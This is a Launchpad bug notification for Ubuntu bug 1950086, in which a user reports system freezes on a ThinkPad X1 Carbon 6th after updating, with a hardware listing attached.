Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1
[Kernel-packages] [Bug 1950086] Lsusb-t.txt
apport information ** Attachment added: "Lsusb-t.txt" https://bugs.launchpad.net/bugs/1950086/+attachment/5538891/+files/Lsusb-t.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950086 Title: Ubuntu 20.04 freeze Status in linux package in Ubuntu: Confirmed Bug description: Ubuntu freeze short time after start. The system started freezing after updating. I reinstalled 20.04.3 and it was still freezing. I've installed a fedora 34 and the same thing happens. If I install 20.04.1 without updating then the system is working. When I boot into kernel 5.4 recovery, and boot to the desktop from there, it works. But when I only select kernel 5.4 it also freezes. H/W path Device Class Description === system 20KGS61900 (LENOVO_MT_20KG_BU_Think_FM_ThinkPad X1 Carbon 6th) /0 bus20KGS61900 /0/3 memory 16GiB System Memory /0/3/0 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/3/1 memory 8GiB Row of chips LPDDR3 Synchronous Unbuffered (Unregistered) 2133 MHz (0,5 ns) /0/7 memory 256KiB L1 cache /0/8 memory 1MiB L2 cache /0/9 memory 8MiB L3 cache /0/a processor Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz /0/b memory 128KiB BIOS /0/100 bridge Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers /0/100/2 /dev/fb0displayUHD Graphics 620 /0/100/4 genericXeon E3-1200 v5/E3-1500 v5/6th Gen Core Processor Thermal Subsystem /0/100/8 genericXeon E3-1200 v5/v6 / E3-1500 v5 / 6th/7th/8th Gen Core Processor Gaussian Mixture Model /0/100/14busSunrise Point-LP USB 3.0 xHCI Controller /0/100/14/0 usb1busxHCI Host Controller /0/100/14/0/7communication Bluetooth wireless interface /0/100/14/0/8multimedia Integrated Camera /0/100/14/0/9genericGeneric USB device /0/100/14/1 usb2busxHCI Host Controller /0/100/14.2 genericSunrise Point-LP Thermal subsystem /0/100/16communication Sunrise Point-LP CSME HECI #1 /0/100/1cbridge Sunrise Point-LP PCI Express Root Port #1 /0/100/1c/0 wlp2s0 networkWireless 8265 / 8275 /0/100/1c.4 bridge Sunrise Point-LP PCI Express Root Port #5 /0/100/1c.4/0storageSilicon Motion, Inc. /0/100/1c.4/0/0 /dev/nvme0 storageSSDPR-PX500-512-80 /0/100/1c.4/0/0/1/dev/nvme0n1disk 512GB NVMe namespace /0/100/1c.4/0/0/1/1 volume 975MiB Windows FAT volume /0/100/1c.4/0/0/1/2 /dev/nvme0n1p2 volume 47GiB EXT4 volume /0/100/1c.4/0/0/1/3 /dev/nvme0n1p3 volume 428GiB EXT4 volume /0/100/1dbridge Sunrise Point-LP PCI Express Root Port #9 /0/100/1fbridge Sunrise Point LPC Controller/eSPI Controller /0/100/1f.2 memory Memory controller /0/100/1f.3 multimedia Sunrise Point-LP HD Audio /0/100/1f.4 busSunrise Point-LP SMBus /0/0 system PnP device PNP0c02 /0/1 system PnP device PNP0c02 /0/2 system PnP device PNP0c02 /0/4 system PnP device PNP0c02 /0/5 system PnP device PNP0b00 /0/6 genericPnP device INT3f0d /0/c genericPnP device LEN0071 /0/d genericPnP device LEN0091 /0/e system PnP device PNP0c02 /0/f system PnP device PNP0c02 /0/10system PnP device PNP0c02 /0/11system PnP device PNP0c01 /1
